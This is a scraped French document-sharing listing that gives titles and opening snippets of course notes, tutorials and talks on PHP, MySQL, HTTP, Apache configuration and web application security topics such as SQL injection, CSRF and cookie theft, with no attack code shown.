Pratique et administration des systèmes

Pratique et administration des systèmes Université Louis Pasteur Licence Informatique (L2) UFR de Mathématiques et Informatique Année 2007/2008 1 But du TP Pratique et administration des systèmes TP10 : Technologie LAMP Le but de ce TP est de

Plus en détail

PHP 4 PARTIE : BASE DE DONNEES

PHP 4 PARTIE : BASE DE DONNEES PHP 4 PARTIE : BASE DE DONNEES 1. Introduction 2. Présentation de MySQL 3. Principe 4. Connexion 5. Interrogation 6. Extraction des données 7. Fonctions de services 8. Traitement des erreurs 9. Travaux

Plus en détail

Vulnérabilités et sécurisation des applications Web

Vulnérabilités et sécurisation des applications Web Rencontres SPIRAL 25/02/03 Vulnérabilités et sécurisation des applications Web Pourquoi les firewalls sont impuissants face à certaines attaques patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com

Plus en détail

Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1

Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1 Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1 Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 2 Sécurité Applications sécurisées Vulnérabilités des applications web Sécuriser la conception

Plus en détail

Attaques applicatives

Attaques applicatives Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites

Plus en détail

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS) PHP et mysql php_mysql PHP et mysql Code: php_mysql Originaux url: http://tecfa.unige.ch/guides/tie/html/php-mysql/php-mysql.html url: http://tecfa.unige.ch/guides/tie/pdf/files/php-mysql.pdf Auteurs et

Plus en détail

Pour les débutants. langage de manipulation des données

Pour les débutants. langage de manipulation des données Pour les débutants SQL : langage de manipulation des données Les bases de données sont très utilisées dans les applications Web. La création, l interrogation et la manipulation des données de la base sont

Plus en détail

p. 1 Plan 2 Les formulaires HTML 3 Bases de données 4 Sessions et cookies 5 Accès aux fichiers et inclusion de code PHP

p. 1 Plan 2 Les formulaires HTML 3 Bases de données 4 Sessions et cookies 5 Accès aux fichiers et inclusion de code PHP p. 1 Plan p. 2 Sécurité web et PHP 5 François Gannaz - SILECS 1 Principes théoriques et pratiques Règles d or de la sécurité Bonnes pratiques Gestion des erreurs 2 Les formulaires HTML 3 Bases de données

Plus en détail

Sécuriser les applications web de l entreprise

Sécuriser les applications web de l entreprise LABORATOIRE SECURITE Sécuriser les applications web de l entreprise Mise en place de ModSecurity pour Apache Julien SIMON - 61131 Sommaire Présentation de la situation actuelle...3 Qu est ce qu un WAF?...5

Plus en détail

Vulnérabilités et sécurisation des applications Web

Vulnérabilités et sécurisation des applications Web OSSIR 09/09/2002 Vulnérabilités, attaques et sécurisation des applications Web Pourquoi les firewalls sont impuissants patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Page 1 Planning

Plus en détail

Stockage du fichier dans une table mysql:

Stockage du fichier dans une table mysql: Stockage de fichiers dans des tables MYSQL avec PHP Rédacteur: Alain Messin CNRS UMS 2202 Admin06 30/06/2006 Le but de ce document est de donner les principes de manipulation de fichiers dans une table

Plus en détail

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Pourquoi revoir la sécurité des applications Web Des technologies omniprésentes Facilité de mise en œuvre et de déploiement. Commerce en ligne,

Plus en détail

Le langage PHP. Walid Belkhir Université de Provence belkhir@cmi.univ-mrs.fr http://www.lif.univ-mrs.fr/ belkhir/

Le langage PHP. Walid Belkhir Université de Provence belkhir@cmi.univ-mrs.fr http://www.lif.univ-mrs.fr/ belkhir/ Le langage PHP Walid Belkhir Université de Provence belkhir@cmi.univ-mrs.fr http://www.lif.univ-mrs.fr/ belkhir/ 1 / 38 Plan 1 Introduction au langage PHP 2 2 / 38 Qu est ce que PHP? langage interprété

Plus en détail

cai ingénierie CADASTRE GEOLOGIQUE 1.6 Centre du Bief Chemin des Mouettes 1 Case postale 18 CH - 1027 Lonay Tél. 021 804 66 77 Fax 021 804 66 70

cai ingénierie CADASTRE GEOLOGIQUE 1.6 Centre du Bief Chemin des Mouettes 1 Case postale 18 CH - 1027 Lonay Tél. 021 804 66 77 Fax 021 804 66 70 ingénierie RELEASE NOTICE CADASTRE GEOLOGIQUE 16 Centre du Bief Chemin des Mouettes 1 Case postale 18 CH - 1027 Lonay Tél 021 804 66 77 Fax 021 804 66 70 Impr : 25082010 Version: 16 #release_notice_fr_v16-

Plus en détail

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion HTTP IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin HTTP Introduction et architecture Messages Authentification Conclusion 1 HTTP Introduction et architecture Hypertext Transfert Protocol URI (Uniform

Plus en détail

2011 Hakim Benameurlaine 1

2011 Hakim Benameurlaine 1 Table des matières 1 Sécuriser un serveur Apache... 2 1.1 Afficher le moins d informations... 2 1.2 Désactiver la signature... 4 1.3 Limitations des attaques... 5 1.4 Bien définir un virtual host... 6

Plus en détail

OWASP Top Ten 2007 Sommaire exécutif

OWASP Top Ten 2007 Sommaire exécutif OWASP Top Ten 2007 Sommaire exécutif Benoit Guerette, gueb@owasp.org Montreal Chapter Leader 24 février 2009 OWASP Education Project Copyright 2007 The OWASP Foundation Permission is granted to copy, distribute

Plus en détail

Interfaçage avec une base de données

Interfaçage avec une base de données Interfaçage avec une base de données Principe PHP propose de nombreux outils permettant de travailler avec la plupart des SGBD Oracle, Sybase, Microsoft SQL Server, PostgreSQL ou encore MySQL Php fournit

Plus en détail

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2) Le langage PHP (2) Walid Belkhir Université de Provence belkhir@cmi.univ-mrs.fr http://www.lif.univ-mrs.fr/ belkhir/ 1 / 54 1 La programmation orientée objet 2 Gestion de Connexions HTTP 3 Manipulation

Plus en détail

Guide d'installation de MapServer et PHP Mapscript

Guide d'installation de MapServer et PHP Mapscript Guide d'installation de MapServer et PHP Mapscript - Windows et Linux- Veremes 42, avenue des Jardins 66240 St Esteve http://www.veremes.com veremes@veremes.com Table des matières 1. Introduction...2

Plus en détail

Coagul - Installation - Sécurisation Apache2 sur une Debian Sarge.

Coagul - Installation - Sécurisation Apache2 sur une Debian Sarge. 1 sur 5 29/10/2008 15:11 Installation - Sécurisation Apache2 sur une Debian Sarge. - Installation des packages : apt-get install apache2 apt-get install openssl Rubrique : Serveurs Le : samedi 24 décembre

Plus en détail

(structure des entêtes)

(structure des entêtes) Aide mémoire HTTP (structure des entêtes) Fabrice HARROUET École Nationale d Ingénieurs de Brest http://www.enib.fr/~harrouet/ enib 1/10 Structure générale d une requête Requête HTTP méthode ressource

Plus en détail

Dans l'épisode précédent

Dans l'épisode précédent Dans l'épisode précédent 2 Le réseau SERVEURS POSTE CLIENT POSTE CLIENT wifi SERVEURS POSTE CLIENT switch Borne Wifi SERVEURS routeur POSTE CLIENT? SERVEURS SERVEURS SERVEURS POSTE CLIENT SERVEURS 3 Les

Plus en détail

Version 1.6. Note pour l installation et la configuration de MDweb (scripts bases de données) Plateforme Windows

Version 1.6. Note pour l installation et la configuration de MDweb (scripts bases de données) Plateforme Windows Version 1.6 Note pour l installation et la configuration de MDweb (scripts bases de données) Plateforme Windows Version Commentaires 1 Auteurs : Jean Christophe Desconnets (jcd@teledetection.fr) Date de

Plus en détail

Une application bidon avec REST, SQL et Unicode, juste comme exemple

Une application bidon avec REST, SQL et Unicode, juste comme exemple Une application bidon avec REST, SQL et Unicode, juste comme exemple Stéphane Bortzmeyer Première rédaction de cet article le 25 juillet 2007. Dernière mise à jour le 31

Plus en détail

A6 - HTTP ESIROI 2014-2015

A6 - HTTP ESIROI 2014-2015 A6 - HTTP ESIROI 2014-2015 HTTP HyperText Transfer Protocol Protocole synchrone 3 version : HTTP/0.9 (obsolète) HTTP/1.0 (rare) HTTP/1.1 HTTP - fonctionnement Requête Réponse Icones : http://www.visualpharm.com/

Plus en détail

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) TIW4-TP1 CSRF 1 Cross-Site Request Forgery (CSRF) Copyright c 2006-2010 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation s Course, Curriculum,

Plus en détail

CREATION WEB DYNAMIQUE

CREATION WEB DYNAMIQUE CREATION WEB DYNAMIQUE IV ) MySQL IV-1 ) Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requêtes vers les bases de données relationnelles. Le serveur de

Plus en détail

GUIDE D INSTALLATION DE L APPLICATION GECOL SUR

GUIDE D INSTALLATION DE L APPLICATION GECOL SUR GUIDE D INSTALLATION DE L APPLICATION GECOL SUR SERVEUR WINDOWS INTRODUCTION Le guide d installation qui va suivre va tenter d amener de la simplicité et de centraliser toutes les informations nécessaires

Plus en détail

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009 HTTP Technologies du Web Programmation Web côté serveur Pierre Senellart (pierre.senellart@telecom-paristech.fr) Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009 P. Senellart (TELECOM

Plus en détail

Installation d'un Serveur AMPP sous Gnu/Linux. (Apache Mysql Php Phymyadmin)

Installation d'un Serveur AMPP sous Gnu/Linux. (Apache Mysql Php Phymyadmin) Installation d'un Serveur AMPP sous Gnu/Linux (Apache Mysql Php Phymyadmin) AMPP : Sommaire Introduction Prérequis Installation d'apache Installation de mysql Installation de php4 et phpmyadmin Configuration

Plus en détail

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS FOURNIER VINCENT 29/04/2015 1.2 Ce tutoriel est réalisé sous debian 7.7 avec une synchronisation

Plus en détail

Cours Web n o 7 MySQL et PHP

Cours Web n o 7 MySQL et PHP Introduction aux bases de données Cours Web n o 7 MySQL et PHP Sandrine-Dominique Gouraud (gouraud@lri.fr) Pierre Senellart (pierre@senellart.com) Semaine du 7 novembre 2005 S.-D. Gouraud, P. Senellart

Plus en détail

Dossier Installation & Exploitation

Dossier Installation & Exploitation Dossier Installation & Exploitation Auteurs : Jean-Louis Ercolani Maarch project manager Laurent Giovannoni Maarch project engineer Claire Figueras Maarch project engineer mailto:dev@maarch.org - SOMMAIRE

Plus en détail

Vulnérabilités logicielles Injection SQL. Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI

Vulnérabilités logicielles Injection SQL. Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI Vulnérabilités logicielles Injection SQL Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI 1 Plan SQL Injection SQL Injections SQL standards Injections SQL de requêtes

Plus en détail

PHP/MySQL. avec Flash 8. Jean-Marie Defrance

PHP/MySQL. avec Flash 8. Jean-Marie Defrance PHP/MySQL avec Flash 8 Jean-Marie Defrance 11 Interfaçage Flash-PHP-Txt Utiliser une interface Flash en interaction avec des scripts PHP permet de réaliser de nombreuses applications qui exploitent à la

Plus en détail

More secure than 'not-at-all' mass Virtual Hosting with apache

More secure than 'not-at-all' mass Virtual Hosting with apache More secure than 'not-at-all' mass Virtual Hosting with apache 26 juin 2009 - VVT 2009 Geoffroy Desvernay Un site pour chacun Contexte: donner accès à chacun (personnels, enseignants, chercheurs, élèves,

Plus en détail

INSTALLATION CONFIGURATION D UN SERVEUR WEB

INSTALLATION CONFIGURATION D UN SERVEUR WEB INSTALLATION ET CONFIGURATION D UN SERVEUR WEB (Apache + Php + Mysql) PAR Maisse Sébastien 1. Introduction.. 2. Installation et configuration d Apache... 3. Installation et configuration de Php 4 4. Installation

Plus en détail

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 -

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 - CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 - SOMMAIRE - 2 - Sommaire Présentation du projet Contexte Description du projet web Les Enjeux du projet web Analyse Concurrentiel

Plus en détail

PHP PHP PHP PHP. Récupération des données d'un formulaire. Syntaxe

PHP PHP PHP PHP. Récupération des données d'un formulaire. Syntaxe Lionel Seinturier Programme s'exécutant côté serveur Web du code embarqué dans une page HTML entre les balises extension.php pour les pages les fichiers.php sont stockés sur le serveur (comme des

Plus en détail

Procédure d'installation

Procédure d'installation 07/11/2014 BTS SIO SISR 2ème année BRY Quentin Procédure d'installation Tableau d évolution Version Date Description Rédacteur Approbateur 0.0 25/01/2014 Ecriture du document Thierry MARTINS 1.0 06/11/2014

Plus en détail

PHP/MYSQL. Web Dynamique

PHP/MYSQL. Web Dynamique PHP/MYSQL Web Dynamique ENSG Juin 2008 Qui suis-je? Guillaume Gautreau Responsable projets Systèmes d information à l ENPC guillaume@ghusse.com http://www.ghusse.com Ces 6 jours de formation Jour 1 : présentations,

Plus en détail

PHP 5. La base de données MySql. A. Belaïd 1

PHP 5. La base de données MySql. A. Belaïd 1 PHP 5 La base de données MySql A. Belaïd 1 Base de données C est quoi une base de données? Une base de données contient une ou plusieurs tables, chaque table ayant un ou plusieurs enregistrements Exemple

Plus en détail

Protection des protocoles www.ofppt.info

Protection des protocoles www.ofppt.info ROYAUME DU MAROC Office de la Formation Professionnelle et de la Promotion du Travail Protection des protocoles DIRECTION RECHERCHE ET INGENIERIE DE FORMATION SECTEUR NTIC Sommaire 1. Introduction... 2

Plus en détail

Vulnérabilités et solutions de sécurisation des applications Web

Vulnérabilités et solutions de sécurisation des applications Web Vulnérabilités et solutions de sécurisation des applications Web Patrick CHAMBET EdelWeb ON-X Consulting patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Eric Larcher RSSI Accor

Plus en détail

Installer Joomla. Étape 1 : choix de la langue d installation

Installer Joomla. Étape 1 : choix de la langue d installation CHAPITRE 4 Installer Joomla L installation de Joomla se déroule en sept étapes : 1. choix de la langue d installation ; 2. vérification des prérequis ; 3. présentation de la licence publique générale GNU

Plus en détail

L envoi d un formulaire par courriel. Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248

L envoi d un formulaire par courriel. Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248 L envoi d un formulaire par courriel Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248 Chapitre 9 L envoi d un formulaire par courriel L envoi par courriel d informations

Plus en détail

Le protocole HTTP. Olivier Aubert 1/40

Le protocole HTTP. Olivier Aubert 1/40 Le protocole HTTP Olivier Aubert 1/40 Liens http://www.jmarshall.com/easy/http/ Références : RFC1945 (HTTP1.0), RFC2616 (HTTP1.1), RFC822 (format des entêtes), RFC2396 (syntaxe des URL), RFC1521 (types

Plus en détail

Mysql avec EasyPhp. 1 er mars 2006

Mysql avec EasyPhp. 1 er mars 2006 Mysql avec EasyPhp 1 er mars 2006 Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requètes vers les bases de données relationnelles. Il en reprend la syntaxe

Plus en détail

Pages WWW interactives et CGI

Pages WWW interactives et CGI Pages WWW interactives et CGI cgi-intro Pages WWW interactives et CGI Code: cgi-intro Originaux url: http://tecfa.unige.ch/guides/tie/html/cgi-intro/cgi-intro.html url: http://tecfa.unige.ch/guides/tie/pdf/files/cgi-intro.pdf

Plus en détail

Rapport SQL Vincent Maréchal 3EI3-2009

Rapport SQL Vincent Maréchal 3EI3-2009 Rapport SQL Vincent Maréchal 3EI3-2009 Objectifs Les objectifs de ce cours ont été de découvrir les outils de web et la mise en ligne de fichiers sur un server ftp. De revoir les bases en html CSS et de

Plus en détail

Attaques de type. Brandon Petty

Attaques de type. Brandon Petty Attaques de type injection HTML Brandon Petty Article publié dans le numéro 1/2004 du magazine Hakin9 Tous droits reservés. La copie et la diffusion de l'article sont admises à condition de garder sa forme

Plus en détail

Sécurité dans les développements

Sécurité dans les développements HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Sécurité dans les développements Paris, 11 mai 2007 Hervé Schauer

Plus en détail

Résoudre les problèmes PHP, les meilleures (et les pires) techniques

Résoudre les problèmes PHP, les meilleures (et les pires) techniques Résoudre les problèmes PHP, les meilleures (et les pires) techniques Xavier Gorse Architecte - Expert PHP (ELAO) xavier.gorse@elao.com Un peu d ordre dans la maison! Toutes les lignes téléphoniques sont

Plus en détail

Découverte d aesecure. Par Christophe Avonture, développeur d aesecure

Découverte d aesecure. Par Christophe Avonture, développeur d aesecure Découverte d aesecure Par Christophe Avonture, développeur d aesecure Qui suis-je? Développeur d aesecure, suite de protection et d optimisation de sites web Apache Ancien développeur d AllEvents; gestionnaire

Plus en détail

Méta-connaissances pour générer des programmes sur le Web

Méta-connaissances pour générer des programmes sur le Web Méta-connaissances pour générer des programmes sur le Web Basile STARYNKEVITCH http://starynkevitch.net/basile/ basile@starynkevitch.net (à titre privé, sans rapport avec mon employeur CEA-LIST) Séminaire

Plus en détail

TP N o 2 - Serveur Apache

TP N o 2 - Serveur Apache IUT de Villetaneuse E. Viennet R&T Module I-C3 Applications Client/Serveur et Web 8/02/06 TP N o 2 - Serveur Apache Ce TP se déroulera avec Linux Red Hat 9 (image GTR-3), en salle de TP réseaux. EXERCICE

Plus en détail

Protocoles Applicatifs

Protocoles Applicatifs Programmation Réseau Protocoles Applicatifs Jean-Baptiste.Yunes@liafa.jussieu.fr UFR Informatique 2011-2012 Protocoles Protocoles applicatifs on appelle protocole applicatif ou protocole d application

Plus en détail

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons <ads@intrinsec.com> Jérémie Jourdin <jjn@intrinsec.com> Arnaud Desmons Jérémie Jourdin Présentation Motivations Historique Démonstration Présentation fonctionnelle Présentation technique L'interface d'administration Roadmap

Plus en détail

Déploiement d OCS 1.02 RC2 sous Debian Etch 64

Déploiement d OCS 1.02 RC2 sous Debian Etch 64 Déploiement d OCS 1.02 RC2 sous Debian Etch 64 Par Big_orneau Note : Utilisation ici d OCS sur un domu Xen. Les commandes sont en italiques. - Avant toute chose vérifier absolument : La date sur le serveur

Plus en détail

SCI 460 Cryptographie TP2 : protection des sites web

SCI 460 Cryptographie TP2 : protection des sites web SCI 460 Cryptographie TP2 : protection des sites web IUT d Arles DUT SRC 2010-2011 Objectifs : Étude du fichier.htaccess pour protéger un site web ou une partie seulement. Étude des protocoles SSL et HTTPS,

Plus en détail

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Sommaire : Contenu I. Introduction:... 2 II. Présentation de l atelier :... 2 1) Attaque persistante :... 3 2) Attaque non persistante :...

Plus en détail

Sécuriser les applications web

Sécuriser les applications web SÉCURITÉ RÉSEAUX TONY FACHAUX Degré de difficulté Sécuriser les applications web L'article présente d'une manière générale les moyens techniques à mettre en œuvre pour sécuriser les applications web d'une

Plus en détail

Installation GLPI-OCSNG-SSL Linux Debian Sarge

Installation GLPI-OCSNG-SSL Linux Debian Sarge Installation GLPI-OCSNG-SSL Linux Debian Sarge Installation de Glpi (0.68.2), OCS NG RC3 et hébergement des deux sites sous apache2, sur la même machine, en SSL avec un seul certificat, sur debian sarge.

Plus en détail

Sécurité des applications web. Daniel Boteanu

Sécurité des applications web. Daniel Boteanu I F8420: Éléments de Sécurité des applications web Daniel Boteanu Architecture des applications web Client légitime Internet HTTP 浀 HTML Server Web 2 Architecture des applications web Client légitime Internet

Plus en détail

S'APPROPRIER UNE CONFIG APACHE

S'APPROPRIER UNE CONFIG APACHE S'APPROPRIER UNE CONFIG APACHE Journées Mathrice d'angers 18 mars 2009 1 Constat : un Apache fraîchement installé dispose d'un niveau de sécurité satisfaisant au fil du temps : le nombre de documents croît,

Plus en détail

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15 www.razafimamonjy.fr

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15 www.razafimamonjy.fr SERVEUR WEB LINUX LAMP 1 Le Serveur APACHE Définition d un serveur web : - Un serveur http ou démon http ou HTTPd (HTTP daemon) ou (moins précisément) serveur web, est un logiciel servant des requêtes

Plus en détail

Webmaster : Installation de l'incentive. Objet : Récupération du tag de rotation à placer sur une page de votre site.

Webmaster : Installation de l'incentive. Objet : Récupération du tag de rotation à placer sur une page de votre site. Webmaster : Installation de l'incentive Objet : Récupération du tag de rotation à placer sur une page de votre site. Connectez vous sur votre compte webmaster, puis cliquez dans le menu sur «Tag de diffusion»

Plus en détail

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN - @salemioche

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN - @salemioche Gestion centralisée d un réseau de sites discrets Nicolas JEAN - @salemioche SEO / Technique,utilisation SEO Technique / Utilisation Intérêt du réseau Centralisé Discrétion Simplicité d utilisation Caractéristique

Plus en détail

INFO-F-405 : Sécurité Informatique Travaux Pratiques: Séance 5 - Sécurité des serveurs et informations publiques

INFO-F-405 : Sécurité Informatique Travaux Pratiques: Séance 5 - Sécurité des serveurs et informations publiques INFO-F-405 : Sécurité Informatique Travaux Pratiques: Séance 5 - Sécurité des serveurs et informations publiques Assistant: Qachri Naïm Année académique 2010-2011 1 Introduction Durant cette séance de

Plus en détail

Logiciel : GLPI Version : 0.72.4 SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003.

Logiciel : GLPI Version : 0.72.4 SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003. Ce document est libre de droit, merci simplement de respecter son auteur. Toutes remarques ou commentaires seront les bienvenues. ATTENTION : La mise à jour par script entre GLPI et Active Directory ne

Plus en détail

Utilisation et traitement des données saisies sous EndNote avec des scripts PHP/MySQL

Utilisation et traitement des données saisies sous EndNote avec des scripts PHP/MySQL Cah. Tech. Inra, 70, 47-53 Utilisation et traitement des données saisies sous EndNote avec des scripts PHP/MySQL Sabine Julien 1 et Jacques Maratray 1 Résumé : Cet article présente la façon d exploiter

Plus en détail

Module FMIN358 Technologies du Web : PHP objet et couches d accès aux bases de données

Module FMIN358 Technologies du Web : PHP objet et couches d accès aux bases de données Module FMIN358 Technologies du Web : PHP objet et couches d accès aux bases de données 1. Exploiter une couche métier objet PHP prend en charge certains des grands principes du paradigme objet (héritage,

Plus en détail